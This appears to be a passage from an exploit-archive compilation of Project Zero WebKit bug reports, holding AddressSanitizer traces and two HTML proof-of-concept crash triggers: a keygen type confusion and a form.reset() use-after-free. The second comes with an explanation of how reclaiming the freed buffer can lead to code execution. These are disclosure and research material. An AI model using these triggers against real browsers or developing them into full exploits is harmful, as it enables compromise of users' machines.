    #5 0x10722f7e2 in JSC::DFG::Plan::compileInThread(JSC::DFG::LongLivedState&, JSC::DFG::ThreadData*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa7c7e2)
    #6 0x1073e1b87 in JSC::DFG::Worklist::ThreadBody::work() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc2eb87)
    #7 0x10802330b in WTF::AutomaticThread::start(WTF::Locker<WTF::LockBase> const&)::$_0::operator()() const (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x187030b)
    #8 0x1080974bd in WTF::threadEntryPoint(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e44bd)
    #9 0x108097b9d in WTF::wtfThreadEntryPoint(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e4b9d)
    #10 0x7fffeb99baaa in _pthread_body (/usr/lib/system/libsystem_pthread.dylib+0x3aaa)
    #11 0x7fffeb99b9f6 in _pthread_start (/usr/lib/system/libsystem_pthread.dylib+0x39f6)
    #12 0x7fffeb99b1fc in thread_start (/usr/lib/system/libsystem_pthread.dylib+0x31fc)

0x607000099738 is located 72 bytes inside of 80-byte region [0x6070000996f0,0x607000099740)
freed by thread T20 here:
    #0 0x1031d4cf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
    #1 0x1080b073f in bmalloc::Deallocator::deallocateSlowCase(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18fd73f)
    #2 0x106c7d70d in JSC::B3::Procedure::deleteOrphans() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4ca70d)
    #3 0x107439a98 in JSC::FTL::(anonymous namespace)::LowerDFGToB3::lower() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc86a98)
    #4 0x10743889a in JSC::FTL::lowerDFGToB3(JSC::FTL::State&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc8589a)
    #5 0x107232ee5 in JSC::DFG::Plan::compileInThreadImpl(JSC::DFG::LongLivedState&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa7fee5)
    #6 0x10722f7e2 in JSC::DFG::Plan::compileInThread(JSC::DFG::LongLivedState&, JSC::DFG::ThreadData*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa7c7e2)
    #7 0x1073e1b87 in JSC::DFG::Worklist::ThreadBody::work() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc2eb87)
    #8 0x10802330b in WTF::AutomaticThread::start(WTF::Locker<WTF::LockBase> const&)::$_0::operator()() const (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x187030b)
    #9 0x1080974bd in WTF::threadEntryPoint(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e44bd)
    #10 0x108097b9d in WTF::wtfThreadEntryPoint(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e4b9d)
    #11 0x7fffeb99baaa in _pthread_body (/usr/lib/system/libsystem_pthread.dylib+0x3aaa)
    #12 0x7fffeb99b9f6 in _pthread_start (/usr/lib/system/libsystem_pthread.dylib+0x39f6)
    #13 0x7fffeb99b1fc in thread_start (/usr/lib/system/libsystem_pthread.dylib+0x31fc)

previously allocated by thread T20 here:
    #0 0x1031d4790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
    #1 0x7fffeb9062d9 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x22d9)
    #2 0x1080ba154 in bmalloc::DebugHeap::malloc(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1907154)
    #3 0x1080af4fb in bmalloc::Allocator::allocateSlowCase(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18fc4fb)
    #4 0x108046e95 in bmalloc::Allocator::allocate(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1893e95)
    #5 0x108046178 in WTF::fastMalloc(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1893178)
    #6 0x106a13b32 in JSC::B3::Value* JSC::B3::Procedure::add<JSC::B3::Value, JSC::B3::Opcode, JSC::B3::Type, JSC::B3::Origin>(JSC::B3::Opcode, JSC::B3::Type, JSC::B3::Origin) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x260b32)
    #7 0x10743aa02 in JSC::FTL::(anonymous namespace)::LowerDFGToB3::createPhiVariables() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc87a02)
    #8 0x107438f1d in JSC::FTL::(anonymous namespace)::LowerDFGToB3::lower() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc85f1d)
    #9 0x10743889a in JSC::FTL::lowerDFGToB3(JSC::FTL::State&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc8589a)
    #10 0x107232ee5 in JSC::DFG::Plan::compileInThreadImpl(JSC::DFG::LongLivedState&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa7fee5)
    #11 0x10722f7e2 in JSC::DFG::Plan::compileInThread(JSC::DFG::LongLivedState&, JSC::DFG::ThreadData*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa7c7e2)
    #12 0x1073e1b87 in JSC::DFG::Worklist::ThreadBody::work() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc2eb87)
    #13 0x10802330b in WTF::AutomaticThread::start(WTF::Locker<WTF::LockBase> const&)::$_0::operator()() const (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x187030b)
    #14 0x1080974bd in WTF::threadEntryPoint(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e44bd)
    #15 0x108097b9d in WTF::wtfThreadEntryPoint(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e4b9d)
    #16 0x7fffeb99baaa in _pthread_body (/usr/lib/system/libsystem_pthread.dylib+0x3aaa)
    #17 0x7fffeb99b9f6 in _pthread_start (/usr/lib/system/libsystem_pthread.dylib+0x39f6)
    #18 0x7fffeb99b1fc in thread_start (/usr/lib/system/libsystem_pthread.dylib+0x31fc)

Thread T20 created by T0 here:
    #0 0x1031ca379 in wrap_pthread_create (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x41379)
    #1 0x108097acb in WTF::createThreadInternal(void (*)(void*), void*, char const*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e4acb)
    #2 0x108097325 in WTF::createThread(char const*, std::__1::function<void ()>) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e4325)
    #3 0x1080217fb in WTF::AutomaticThread::start(WTF::Locker<WTF::LockBase> const&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x186e7fb)
    #4 0x1073dc5c8 in JSC::DFG::Worklist::enqueue(WTF::PassRefPtr<JSC::DFG::Plan>) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc295c8)
    #5 0x1070919e1 in JSC::DFG::compileImpl(JSC::VM&, JSC::CodeBlock*, JSC::CodeBlock*, JSC::DFG::CompilationMode, unsigned int, JSC::Operands<JSC::JSValue> const&, WTF::PassRefPtr<JSC::DeferredCompilationCallback>) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x8de9e1)
    #6 0x1070913c8 in JSC::DFG::compile(JSC::VM&, JSC::CodeBlock*, JSC::CodeBlock*, JSC::DFG::CompilationMode, unsigned int, JSC::Operands<JSC::JSValue> const&, WTF::PassRefPtr<JSC::DeferredCompilationCallback>) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x8de3c8)
    #7 0x1071e8a07 in JSC::DFG::tierUpCommon(JSC::ExecState*, unsigned int, unsigned int) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa35a07)
    #8 0x1071e9589 in triggerOSREntryNow (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa36589)
    #9 0x449e46e022e0  (<unknown module>)
    #10 0x107a904fc in llint_entry (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12dd4fc)
    #11 0x107a89aca in vmEntryToJavaScript (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d6aca)
    #12 0x10773d60d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf8a60d)
    #13 0x1076c60dd in JSC::Interpreter::execute(JSC::ProgramExecutable*, JSC::ExecState*, JSC::JSObject*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf130dd)
    #14 0x106ea73a6 in JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6f43a6)
    #15 0x106ea75ae in JSC::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6f45ae)
    #16 0x10c86d8c3 in WebCore::JSMainThreadExecState::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x25348c3)
    #17 0x10c86d434 in WebCore::ScriptController::evaluateInWorld(WebCore::ScriptSourceCode const&, WebCore::DOMWrapperWorld&, WebCore::ExceptionDetails*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2534434)
    #18 0x10c881081 in WebCore::ScriptElement::executeClassicScript(WebCore::ScriptSourceCode const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2548081)
    #19 0x10c87e0c2 in WebCore::ScriptElement::prepareScript(WTF::TextPosition const&, WebCore::ScriptElement::LegacyTypeSupport) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x25450c2)
    #20 0x10b01bb60 in WebCore::HTMLScriptRunner::runScript(WebCore::ScriptElement&, WTF::TextPosition const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xce2b60)
    #21 0x10b01b8a5 in WebCore::HTMLScriptRunner::execute(WTF::Ref<WebCore::ScriptElement>&&, WTF::TextPosition const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xce28a5)
    #22 0x10af4576e in WebCore::HTMLDocumentParser::runScriptsForPausedTreeBuilder() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc0c76e)
    #23 0x10af45e52 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc0ce52)

SUMMARY: AddressSanitizer: heap-use-after-free (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4c7f15) in JSC::B3::Procedure::resetReachability()
Shadow bytes around the buggy address:
  0x1c0e00013290: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c0e000132a0: 00 00 fa fa fa fa 00 00 00 00 00 00 00 00 fc 00
  0x1c0e000132b0: fa fa fa fa 00 00 00 00 00 00 00 00 fc 00 fa fa
  0x1c0e000132c0: fa fa 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
  0x1c0e000132d0: 00 00 00 00 00 00 00 00 fc 00 fa fa fa fa fd fd
=>0x1c0e000132e0: fd fd fd fd fd fd fd[fd]fa fa fa fa 00 00 00 00
  0x1c0e000132f0: 00 00 00 fc fc fa fa fa fa fa 00 00 00 00 00 00
  0x1c0e00013300: 00 fc fc fa fa fa fa fa 00 00 00 00 00 00 00 fc
  0x1c0e00013310: fc fa fa fa fa fa 00 00 00 00 00 00 00 fc fc fa
  0x1c0e00013320: fa fa fa fa 00 00 00 00 00 00 00 fc fc fa fa fa
  0x1c0e00013330: fa fa 00 00 00 00 00 00 00 fc fc fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==32191==ABORTING
-->
HireHackking 
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=999 -->

<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>

<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->
HireHackking 
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1044 -->

<script>

function go() {

  output.value = "aaa";
  output.appendChild(inserted_div);

  document.getElementById("output").addEventListener('DOMSubtreeModified', function () {
    for(var i=0; i<20; i++) {
      form.appendChild(document.createElement("input"));
    }
  }, false);

  form.reset();

}

</script>
<body onload=go()>
<div id="inserted_div">foo</div>
<form id="form" onchange="eventhandler()">
<input type="text" value="foo">
<output id="output" oninput="eventhandler()"></output>
<input type="text" value="foo">

<!--
=================================================================

Analysis:

The bug is in HTMLFormElement::reset() function, specifically in this part:

    for (auto& associatedElement : m_associatedElements) {
        if (is<HTMLFormControlElement>(*associatedElement))
            downcast<HTMLFormControlElement>(*associatedElement).reset();
    }

The issue is that while m_associatedElements vector is being iterated, its content can change (HTMLFormControlElement being added or removed from it).

Normally HTMLFormControlElement.reset() doesn't change the DOM, but there is one exception to this: The 'output' element. In WebKit, resetting the output element is equivalent to setting its textContent, which causes all of its child elements (if any) to be removed from the DOM tree.

Using this trick we can remove elements from m_associatedElements while it is being iterated. However, this by itself is not sufficient to exploit this issue as m_associatedElements.remove(index) (called from HTMLFormElement::removeFormElement()) won't actually reallocate the vector's buffer, it will only decrease vector's m_size and the vector's elements after m_size will still point to the (former) form members. (It might be possible to force the removed form members to be deleted but I haven't experimented with this).

So instead of removing elements from the m_associatedElements vector, I instead add elements to it while it is being iterated. I did this by adding DOMSubtreeModified event listener to the output element, so that when the output element gets reset, the event triggers and in the event hanlder newly created input elements are added to the form. This causes the vector's buffer to be reallocated to accommodate the new form elements. The loop inside HTMLFormElement::reset() continues to iterate over now deleted buffer, causing the use-after free condition.

If an attacker manages to reclaim the space of the freed buffer and fill it with attacker-controlled data (there is plenty of opportunity to do this inside the DOMSubtreeModified event handler. Also note that the size of the freed buffer can be chosen by the attacker), subsequent iterations over m_associatedElements will cause HTMLFormControlElement::reset() method to be called on the attacker-controlled pointer. Since HTMLFormControlElement::reset() is a virtual function, this can easily lead to code execution.

ASAN log:

=================================================================
==1963==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0000a2c50 at pc 0x000109144e28 bp 0x7fff5ee93e10 sp 0x7fff5ee93e08
READ of size 8 at 0x60c0000a2c50 thread T0
    #0 0x109144e27 in WebCore::HTMLFormElement::reset() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2be27)
    #1 0x1099b32e0 in WebCore::jsHTMLFormElementPrototypeFunctionResetCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x149a2e0)
    #2 0x1099b0cdd in long long WebCore::BindingCaller<WebCore::JSHTMLFormElement>::callOperation<&(WebCore::jsHTMLFormElementPrototypeFunctionResetCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1497cdd)
    #3 0x2e505aa01027  (<unknown module>)
    #4 0x105d07f0c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x126af0c)
    #5 0x105d07f0c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x126af0c)
    #6 0x105d014da in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12644da)
    #7 0x1059a1c5d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf04c5d)
    #8 0x105908033 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xe6b033)
    #9 0x104f718d1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d48d1)
    #10 0x104f719fb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d49fb)
    #11 0x104f71d46 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d4d46)
    #12 0x1095a9e2e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1090e2e)
    #13 0x109894c66 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x137bc66)
    #14 0x108dea325 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8d1325)
    #15 0x108de9e4f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8d0e4f)
    #16 0x108cd52f1 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7bc2f1)
    #17 0x108ce4ebf in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7cbebf)
    #18 0x108bf105f in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6d805f)
    #19 0x108bebdae in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6d2dae)
    #20 0x108f57481 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa3e481)
    #21 0x108f5496a in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa3b96a)
    #22 0x108c098ed in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6f08ed)
    #23 0x10910721d in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbee21d)
    #24 0x108ca018c in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x78718c)
    #25 0x108c645ef in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x74b5ef)
    #26 0x10876f577 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x256577)
    #27 0x10876a479 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x251479)
    #28 0x10acc2f84 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27a9f84)
    #29 0x101662f95 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8def95)
    #30 0x1016625aa in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de5aa)
    #31 0x1010126a9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x28e6a9)
    #32 0x100e320a8 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xae0a8)
    #33 0x100e3b274 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb7274)
    #34 0x1062d3964 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1836964)
    #35 0x1062d427e in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x183727e)
    #36 0x7fff96c637e0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xaa7e0)
    #37 0x7fff96c42f1b in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x89f1b)
    #38 0x7fff96c4243e in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x8943e)
    #39 0x7fff96c41e37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37)
    #40 0x7fff8cad1934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30934)
    #41 0x7fff8cad176e in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x3076e)
    #42 0x7fff8cad15ae in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x305ae)
    #43 0x7fff8a8fcdf5 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48df5)
    #44 0x7fff8a8fc225 in -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48225)
    #45 0x7fff8a8f0d7f in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3cd7f)
    #46 0x7fff8a8ba367 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x6367)
    #47 0x7fff82c7c193 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x11193)
    #48 0x7fff82c7abbd in xpc_main (/usr/lib/system/libxpc.dylib+0xfbbd)
    #49 0x100d69b73 in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #50 0x7fff8a7fa5ac in start (/usr/lib/system/libdyld.dylib+0x35ac)

0x60c0000a2c50 is located 16 bytes inside of 128-byte region [0x60c0000a2c40,0x60c0000a2cc0)
freed by thread T0 here:
    #0 0x103345db9 in wrap_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4adb9)
    #1 0x10632602b in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x188902b)
    #2 0x109148b53 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2fb53)
    #3 0x109145d00 in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2cd00)
    #4 0x109145b80 in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2cb80)
    #5 0x108ef9f98 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x9e0f98)
    #6 0x108efa80e in WebCore::FormAssociatedElement::resetFormOwner() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x9e180e)
    #7 0x109163a0d in WebCore::HTMLInputElement::finishedInsertingSubtree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc4aa0d)
    #8 0x1088827d8 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChangeSource) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3697d8)
    #9 0x108882442 in WebCore::ContainerNode::updateTreeAfterInsertion(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x369442)
